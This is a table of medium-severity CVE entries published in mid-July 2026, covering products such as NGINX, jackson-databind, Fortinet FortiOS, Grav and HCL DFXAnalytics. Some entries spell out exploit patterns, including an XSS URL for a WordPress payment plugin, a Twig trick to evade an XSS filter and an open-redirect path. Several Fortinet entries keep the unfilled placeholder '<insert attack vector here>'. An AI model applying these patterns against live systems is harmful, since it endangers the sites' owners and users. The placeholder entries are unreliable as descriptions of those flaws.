| F5--NGINX Plus                                                      | NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_ssi_module module. This vulnerability may exist when the Server-Side Includes (SSI), proxy_pass, and proxy_buffering off directives are configured. With                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-15 | 6.5        | <a href="#">CVE-2026-56434</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                | this configuration, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to cause a use-after-free in the NGINX worker process. This issue may lead to limited modification of memory or a restart of the NGINX worker process. Impact: This vulnerability may allow remote attackers to have limited control to modify memory contents or restart the NGINX worker process. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. |            |            |                                |
| facelessuser--pymdown-extensions               | PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.                                                                                                                | 2026-07-16 | 4.3        | <a href="#">CVE-2026-46338</a> |
| Fahad Mahmood--Stock Locations for WooCommerce | Missing Authorization vulnerability in Fahad Mahmood Stock Locations for WooCommerce stock-locations-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Stock Locations for WooCommerce: from n/a through <= 3.1.8.                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57419</a> |
| faisalman--ua-parser-js                        | UAParser.js is a JavaScript library to detect browsers, operating systems, CPUs, and devices from user-agent data. From 2.0.1 until 2.0.10, a regular expression denial-of-service vulnerability exists when using the Client Hints API. By sending a crafted Sec-CH-UA-Model header to an application that calls UAParser(headers).withClientHints(), an attacker can cause excessive CPU time due to catastrophic backtracking in the device regex because Client Hints values are copied without the UA_MAX_LENGTH limit used for User-Agent values. This issue is fixed in version 2.0.10.                        | 2026-07-14 | 5.3        | <a href="#">CVE-2026-48125</a> |
| FasterXML--jackson-databind                    | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.                                                           | 2026-07-14 | 6.5        | <a href="#">CVE-2026-59888</a> |
| FasterXML--jackson-databind                    | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.                     | 2026-07-14 | 6.5        | <a href="#">CVE-2026-59889</a> |
| fernandobt--List category posts                | The List category posts plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 0.95.0 via the sanitize_status. This makes it possible for authenticated attackers, with contributor-level access and above, to extract titles, full content, excerpts, dates, authors, and custom-field metadata of other users' pending-review, scheduled, and trashed posts by embedding a crafted [catlist] shortcode in their own draft and previewing it. This vulnerability is a bypass of the incomplete fix introduced for CVE-2025-11377 in version 0.93.0.              | 2026-07-16 | 4.3        | <a href="#">CVE-2026-12434</a> |
| filebrowser--filebrowser                       | File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser's archive builder uses strings.ReplaceAll(nameInArchive, "\", "/"), which turns a POSIX filename such as ../../evil.sh into the archive entry ../../evil.sh,                                                                                                                                                                                                                                                                            | 2026-07-15 | 6.8        | <a href="#">CVE-2026-62843</a> |



# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| Flow--Flow Payment        | The Flow Payment plugin for WordPress (flow.cl) version 3.0.8 is vulnerable to reflected cross-site scripting on the WooCommerce checkout page. When the plugin handles an order cancellation, the error_message GET parameter is passed directly to wc_add_notice() in flowpayment-fl.php (lines 57-58) without input sanitization (for example sanitize_text_field()) or output escaping (for example esc_html()) before being rendered in the checkout notice HTML. An unauthenticated attacker can craft a URL containing a JavaScript payload in the error_message parameter (for example /checkout/?add-to-cart={product-id}&cancel_order=true&error_message={payload}); when a victim with an active WooCommerce checkout session follows the link, the payload executes in the victim's browser in the origin of the WordPress site. | 2026-07-18 | 4.3        | <a href="#">CVE-2026-57857</a> |
| FluxBuilder--MStore API   | Missing Authorization vulnerability in FluxBuilder MStore API mstore-api allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MStore API: from n/a through <= 4.18.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57375</a> |
| Fortinet--FortiClientEMS  | A improper certificate validation vulnerability in Fortinet FortiClientEMS 7.4.3 through 7.4.5, FortiClientEMS 7.4.0 through 7.4.1, FortiClientEMS 7.2 all versions may allow attacker to information disclosure via <insert attack vector here>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 6.7        | <a href="#">CVE-2026-59836</a> |
| Fortinet--FortiOS         | An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability [CWE-79] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.6, FortiOS 7.4 all versions, FortiOS 7.2 all versions, FortiPAM 1.8.0, FortiPAM 1.7 all versions, FortiPAM 1.6 all versions, FortiPAM 1.5 all versions, FortiPAM 1.4 all versions, FortiPAM 1.3 all versions, FortiPAM 1.2 all versions, FortiPAM 1.1 all versions, FortiPAM 1.0 all versions, FortiProxy 7.4.0 through 7.4.3, FortiProxy 7.2.0 through 7.2.9 may allow an authenticated remote user to execute code or commands via crafted requests.                                                                                                                                                                                                                    | 2026-07-14 | 6.1        | <a href="#">CVE-2026-23573</a> |
| Fortinet--FortiOS         | A buffer over-read vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions may allow an authenticated remote attacker to return a portion of device memory in the redirect response via submitting a specially crafted request.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 4.1        | <a href="#">CVE-2025-43892</a> |
| Fortinet--FortiOS         | A buffer over-read vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions, FortiProxy 7.6.0 through 7.6.5, FortiProxy 7.4.0 through 7.4.13, FortiProxy 7.2 all versions, FortiProxy 7.0 all versions may allow attacker to information disclosure via <insert attack vector here>                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 4.1        | <a href="#">CVE-2026-59840</a> |
| Fortinet--FortiPAM        | A stack-based buffer overflow vulnerability in Fortinet FortiOS 7.4.0 through 7.4.1, FortiOS 7.2 all versions, FortiPAM 1.8.0 through 1.8.2, FortiPAM 1.7 all versions, FortiPAM 1.6 all versions, FortiPAM 1.5 all versions, FortiPAM 1.4 all versions, FortiPAM 1.3 all versions, FortiPAM 1.2 all versions, FortiPAM 1.1 all versions, FortiPAM 1.0 all versions, FortiProxy 7.4.0 through 7.4.13, FortiProxy 7.2 all versions may allow a privileged authenticated attacker who can bypass stack protection and ASLR to execute arbitrary code or commands via crafted HTTP requests.                                                                                                                                                                                                                                                    | 2026-07-14 | 5.9        | <a href="#">CVE-2026-59837</a> |
| Fortinet--FortiProxy      | A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiOS 7.6.0 through 7.6.6, FortiOS 7.4.0 through 7.4.9, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions, FortiPAM 1.8.0, FortiPAM 1.7.0 through 1.7.2, FortiPAM 1.6 all versions, FortiPAM 1.5 all versions, FortiPAM 1.4 all versions, FortiPAM 1.3 all versions, FortiPAM 1.2 all versions, FortiPAM 1.1 all versions, FortiPAM 1.0 all versions, FortiProxy 7.6.0 through 7.6.5, FortiProxy 7.4 through 7.4.13, FortiProxy 7.2 all versions, FortiProxy                                                                                                                                                                                                                                         | 2026-07-14 | 5          | <a href="#">CVE-2026-59839</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                  | 7.0 all versions may allow attacker to execute unauthorized code or commands via <insert attack vector here>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| Fortinet--FortiSIEM              | A improper neutralization of script-related html tags in a web page (basic xss) vulnerability in Fortinet FortiSIEM 7.4.0, FortiSIEM 7.3.0 through 7.3.4, FortiSIEM 7.2.0 through 7.2.6, FortiSIEM 7.1 all versions, FortiSIEM 7.0 all versions, FortiSIEM 6.7 all versions, FortiSIEM 6.6 all versions, FortiSIEM 6.5 all versions, FortiSIEM 6.4 all versions may allow attacker to execute unauthorized code or commands via <insert attack vector here>                                                                                                                                                                                                                                                                                                                            | 2026-07-15 | 5.3        | <a href="#">CVE-2026-59838</a> |
| Fortinet--FortiSIEMWindows Agent | A improper restriction of communication channel to intended endpoints vulnerability in Fortinet FortiSIEMWindowsAgent 7.4.0 through 7.4.1 may allow attacker to escalation of privilege via <insert attack vector here>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 6.9        | <a href="#">CVE-2026-59841</a> |
| geex-arts--django-jet            | A vulnerability was identified in geex-arts django-jet up to 1.0.8. This affects an unknown function of the file jet/dashboard/views.py of the component Dashboard Module. Such manipulation leads to authorization bypass. The attack can be executed remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16214</a> |
| geex-arts--django-jet            | A security flaw has been discovered in geex-arts django-jet up to 1.0.8. This impacts an unknown function of the component OAuth Credential Revoke Handler. Performing a manipulation results in missing authorization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                   | 2026-07-19 | 6.5        | <a href="#">CVE-2026-16215</a> |
| geex-arts--django-jet            | A weakness has been identified in geex-arts django-jet up to 1.0.8. Affected is an unknown function of the component OAuth Handler. Executing a manipulation can lead to cross-site request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                        | 2026-07-19 | 4.3        | <a href="#">CVE-2026-16216</a> |
| getgrav--grav                    | Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.        | 2026-07-15 | 6.5        | <a href="#">CVE-2026-61449</a> |
| getgrav--grav                    | Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers. | 2026-07-15 | 6.1        | <a href="#">CVE-2026-61453</a> |
| getgrav--grav                    | Grav Flex-Objects before version 1.4.3 contains a broken access control vulnerability in the admin-next REST API that allows authenticated users with only api.access permission to perform unauthorized CRUD operations on permission-less directories. Attackers with api.access credentials can create, read, update,                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-17 | 6.3        | <a href="#">CVE-2026-62235</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                                       | delete, and export objects from any directory lacking an explicit permissions configuration, bypassing intended authorization controls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| getgrav--grav                                                                                                         | Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.                                                                                                                                                                                                                       | 2026-07-17 | 6.5        | <a href="#">CVE-2026-62237</a> |
| getgrav--grav                                                                                                         | The Grav API plugin (getgrav/grav-plugin-api) before 2.0.4 contains an improper session invalidation vulnerability where JWT access tokens are issued without a jti (JWT ID) claim and therefore cannot be revoked server-side. Unlike refresh tokens, access tokens remain valid for their full lifetime (default 1 hour) regardless of logout, password change, new token issuance, or account disablement. An attacker who has stolen an access token retains full API access until the token naturally expires.                                                                                                                                                                                                                                     | 2026-07-15 | 5.3        | <a href="#">CVE-2026-61452</a> |
| getgrav--grav                                                                                                         | grav-plugin-login before 3.8.11 contains a cross-site request forgery (CSRF) vulnerability in the login.regenerate2FASecret frontend task, which regenerates and persists a new TOTP secret for the authenticated session user without any anti-CSRF nonce or Origin/Referer check. Because Grav core dispatches the task from the GET 'task:' URI parameter and the default session cookie is SameSite=Lax, an attacker can lure a logged-in victim to an off-site page that performs a top-level GET navigation, rotating the victim's TOTP secret so their enrolled authenticator no longer matches the server, effectively forcing 2FA re-enrollment. Sites configured with session.samesite: Strict are not affected.                              | 2026-07-17 | 5.4        | <a href="#">CVE-2026-62236</a> |
| getredash--redash                                                                                                     | Redash is a package for data visualization and sharing. From 5.0.2 to 26.3.0, the get_next_path() function in Redash's authentication module stripped the scheme and netloc from user-supplied next parameters but did not normalize multiple leading slashes, allowing a crafted login URL such as /login?next=///evil.com to redirect users to an external attacker-controlled site after authentication.                                                                                                                                                                                                                                                                                                                                             | 2026-07-15 | 6.1        | <a href="#">CVE-2026-33213</a> |
| Gis Informatics Engineering Consulting Laboratory R&D and Software Services Inc.--GisLab Laboratory Management System | Authorization bypass through User-Controlled key vulnerability in Gis Informatics Engineering Consulting Laboratory R&D and Software Services Inc. GisLab Laboratory Management System allows Exploitation of Trusted Identifiers. This issue affects GisLab Laboratory Management System: from 1.4.03 through 08072026.                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 6.5        | <a href="#">CVE-2026-11763</a> |
| github--secure_headers                                                                                                | secure_headers manages application of security headers with many safe defaults. Prior to 7.3.0, secure_headers builds the Content-Security-Policy value by stitching directives with ; separators, and build_sandbox_list_directive, build_media_type_list_directive, and build_report_to_directive interpolate caller-supplied strings without scrubbing ;, \r, or \n. When untrusted input reaches SecureHeaders.override_content_security_policy_directives or append APIs for :sandbox, :plugin_types, or :report_to, an attacker can inject a CSP directive such as script-src 'unsafe-inline' * before the legitimate script-src, enabling XSS reachability through these sinks or CSP report exfiltration. This issue is fixed in version 7.3.0. | 2026-07-17 | 4.7        | <a href="#">CVE-2026-54163</a> |
| GNU--LibreDWG                                                                                                         | A vulnerability was determined in GNU LibreDWG 0.13.4-154-g0b573035. This impacts the function decompress_R2004_section of the file src/decode.c of the component R2004 Section Decompression. Executing a manipulation can lead to heap-based buffer overflow. The attack requires local access. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.14.8396 will fix this                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15520</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | issue. This patch is called 3d0f9fc2eddbd6579c99af3111c37c98f03475d0. You should upgrade the affected component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| guohongze--adminset       | A security vulnerability has been detected in guohongze adminset up to 0.61. Affected by this vulnerability is an unknown functionality of the file delivery/deli.py of the component Delivery Deployment Endpoint. The manipulation of the argument project_id leads to authorization bypass. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16217</a> |
| h2o--h2o                  | h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit 8dc37cb, when h2o receives a ClientHello message over TLS or QUIC and it contains a zero-length SNI extension, the h2o server runs over the zero-length hostname while trying to copy the hostname, assuming that it is NULL-terminated. This is a potential denial-of-service attack vector in sense that it might trigger segmentation violation. This issue has been fixed by commit 8dc37cb.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 5.9        | <a href="#">CVE-2026-44452</a> |
| h2o--quicly               | Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 8b178e6, an adversarial peer could send a STREAM frame carrying just one byte at the largest offset being permitted to obtain additional flow control credit, which under certain circumstances could lead to a Denial of Service. Assuming the application prepares a receive buffer for storing all data that arrive out-of-order, up to the largest offset being received, this behavior could lead to the application allocating large amount of memory with the peer sending only a handful of packets, resulting in memory exhaustion. In addition to the receive buffer allocation strategy, the severity of this vulnerability depends on how the application controls the stream concurrency. In case of the H2O HTTP server, under its default setting, this bug increases the maximum amount of memory allocated per connection by about 4 times. This issue has been fixed by commit 8b178e6. | 2026-07-16 | 5.3        | <a href="#">CVE-2026-44433</a> |
| h2o--quicly               | Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit dccf5d4, Quicly was vulnerable to stateless reset injection through lack of packet entry validation. The QUIC protocol is designed to withstand packet injection attacks, once the handshake is complete. Only packets that carry some secret patterns are considered as stateless resets. Quicly allows the peer to share up to 4 such patterns per connection. However, until now, it failed to determine which of the 4 slots that it uses to retain the secret patterns contains a valid entry. As the slots are zero-initialized, the failure meant that, unless the peer advertised 4 of such patterns, an all-zero pattern was treated as a stateless reset. In effect, this allowed an on-path attacker to reset QUIC connections governed by Quicly. This issue has been fixed by commit dccf5d4.                                                                                                | 2026-07-16 | 5.3        | <a href="#">CVE-2026-44434</a> |
| halo-dev--halo            | A vulnerability was detected in halo-dev halo up to 2.24.2. Affected by this vulnerability is the function Download of the file MigrationEndpoint.java of the component Files Backup Endpoint. Performing a manipulation results in path traversal. The attack is possible to be carried out remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-18 | 4.7        | <a href="#">CVE-2026-16088</a> |
| hapijs--inert             | @hapi/inert provides static file and directory handlers for hapi.js. From 4.0.0 to 7.1.0, @hapi/inert serves static files from a directory configured with path in the directory or file handlers or relativeTo for h.file(), with confinement enforced by the confine option, but the confinement check compared the resolved absolute path against the confine directory using a raw string-prefix test, so a sibling directory such as /app/static-secret next to /app/static was incorrectly accepted and could allow an unauthenticated remote attacker to read files via ../../static-secret/secret.txt. This issue is fixed in version 7.1.1.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 5.3        | <a href="#">CVE-2026-48049</a> |
| hapijs--joi               | joi is a schema description language and data validator for JavaScript. Prior to 17.13.4 and 18.2.1, denial of service is possible via an untrapped exception in                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 5.3        | <a href="#">CVE-2026-48038</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | services validating user-supplied JSON or object input with recursive link() schemas. When validate() is called without try/catch in a request handler, deeply nested input can trigger an unhandled RangeError and potentially crash the process; lower-impact paths using validateAsync() or try/catch produce a RangeError instead of a structured ValidationError. This issue is fixed in versions 17.13.4 and 18.2.1.                                                                                                                                                                                                                  |            |            |                                |
| hapijs--wreck                | @hapi/wreck is an HTTP client utility. Prior to 18.1.2, Wreck strips credential headers including Authorization, Cookie, and Proxy-Authorization before following a cross-origin redirect, but the origin check compares hostnames only and ignores scheme and port, so credentials are forwarded intact across same-host port changes and HTTPS-to-HTTP downgrades, allowing a co-tenant on an adjacent port or a network-position attacker capable of forging a redirect to capture bearer tokens, session cookies, and proxy credentials and impersonate the victim against the upstream service. This issue is fixed in version 18.1.2. | 2026-07-17 | 6.5        | <a href="#">CVE-2026-48022</a> |
| HCL Software--DFXAnalytics   | HCL DFXAnalytics is affected by an Account Takeover via Response Manipulation vulnerability. A remote attacker can intercept and alter the contents of the server's HTTP responses before they reach the client application, allowing them to manipulate the authentication or authorization logic to bypass controls and gain unauthorized access to targeted user accounts.                                                                                                                                                                                                                                                               | 2026-07-16 | 5.5        | <a href="#">CVE-2026-56453</a> |
| HCL Software--DFXAnalytics   | HCL DFXAnalytics is affected by a Deprecated Protocol vulnerability due to the use of TLS 1.0 and TLS 1.1. These legacy protocols contain numerous cryptographic design flaws that expose data to interception and decryption. To remediate this risk, the application must disable all support for TLS 1.0 and TLS 1.1, and exclusively enable support for secure protocols, specifically TLS 1.2 and TLS 1.3.                                                                                                                                                                                                                             | 2026-07-16 | 5.9        | <a href="#">CVE-2026-56454</a> |
| HCL Software--DFXAnalytics   | HCL DFXAnalytics is affected by a Buffer Overflow vulnerability that can lead to a Denial of Service (DoS). The application fails to properly validate input sizes, allowing an attacker to pass an excessive amount of information into a memory container, which can cause the system to crash or become unresponsive. To mitigate this flaw, comprehensive input length checks must be implemented and enforced on both the client and server sides.                                                                                                                                                                                     | 2026-07-16 | 5.3        | <a href="#">CVE-2026-56455</a> |
| HCL Software--DFXAnalytics   | HCL DFXAnalytics is affected by an Internal File Path Disclosure vulnerability. The application dashboard inadvertently leaks sensitive information regarding its internal file structure and directory paths through unhandled error messages, system logs, or debugging output, which could allow a remote attacker to map the underlying server environment and identify targets for further exploitation.                                                                                                                                                                                                                               | 2026-07-16 | 5.3        | <a href="#">CVE-2026-56456</a> |
| HCL Software--DFXServer      | HCL DFXServer is affected by a Missing Access Control vulnerability. This vulnerability states that certain endpoints are accessible without any form of authentication in another browser. This allows any network user to invoke these APIs and interact with the application without verification of their identity or authorization level.                                                                                                                                                                                                                                                                                              | 2026-07-16 | 6.3        | <a href="#">CVE-2026-35148</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to brute force attacks since application doesn't have captcha implemented. It can lead to various security issues like brute force , automated attacks & account enumeration                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 6.5        | <a href="#">CVE-2024-23566</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to email flooding as the application does not have a proper mail limitation mechanism at Forget Password functionality. The actor could b e a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic or other consequences.                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 5.3        | <a href="#">CVE-2024-23565</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attacks since the server software version used by the application is revealed by the web server. Displaying version information of software could allow an attacker to determine which vulnerabilities                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-17 | 5.3        | <a href="#">CVE-2024-23568</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | are present in the software, particularly if an outdated software version is in use with published vulnerabilities.                                                                                                                                                                                                                                                          |            |            |                                |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack since It was found that a malicious actor can use brute-force techniques to either guess or confirm valid users in the system. Use renumeration is when a malicious actor can use brute-force techniques to either guess or confirm valid users in a system                                                                      | 2026-07-17 | 5.3        | <a href="#">CVE-2024-23574</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack since the application returns detailed error messages that leak information about the processing on the server. An attacker may use the contents of error messages to help launch another ,more focused attack.                                                                                                                  | 2026-07-17 | 5.3        | <a href="#">CVE-2024-23575</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack since HTTP OPTIONS method is enabled on this web server. The OPTIONS method provides a list of the methods that are supported by the Web server which allows an attacker to narrow and intensify their efforts.                                                                                                                  | 2026-07-17 | 5.3        | <a href="#">CVE-2024-42214</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is affected by Sensitive Information in GET method & in URL which allows application to pass sensitive data via URL parameters during normal usage. Data passed in this manner can be exposed because it may end up stored in unintended locations, including server logs, local browser history and proxy logs.                                         | 2026-07-17 | 4.3        | <a href="#">CVE-2024-23567</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack since the server is not configured with "X-XSS-Protection" header                                                                                                                                                                                                                                                                | 2026-07-17 | 4.3        | <a href="#">CVE-2024-23569</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is affected by clickjacking vulnerability Cross-Frame Scripting is an attack technique where an attacker loads a vulnerable application in an iFrame on his malicious site. The attacker can then launch a Clickjacking attack, which may lead to Phishing, Cross-Site Request Forgery, sensitive information leakage and more.                          | 2026-07-17 | 4.3        | <a href="#">CVE-2024-23570</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack since the application does not have an appropriate caching policy specifying the extent to which the page and its form fields should be cached. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time. | 2026-07-17 | 4.3        | <a href="#">CVE-2024-23571</a> |
| HCLSoftware--Aftermarket EPC | HCL Aftermarket EPC is vulnerable to attack as cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.                                                                                                                                                    | 2026-07-17 | 4.2        | <a href="#">CVE-2024-23572</a> |
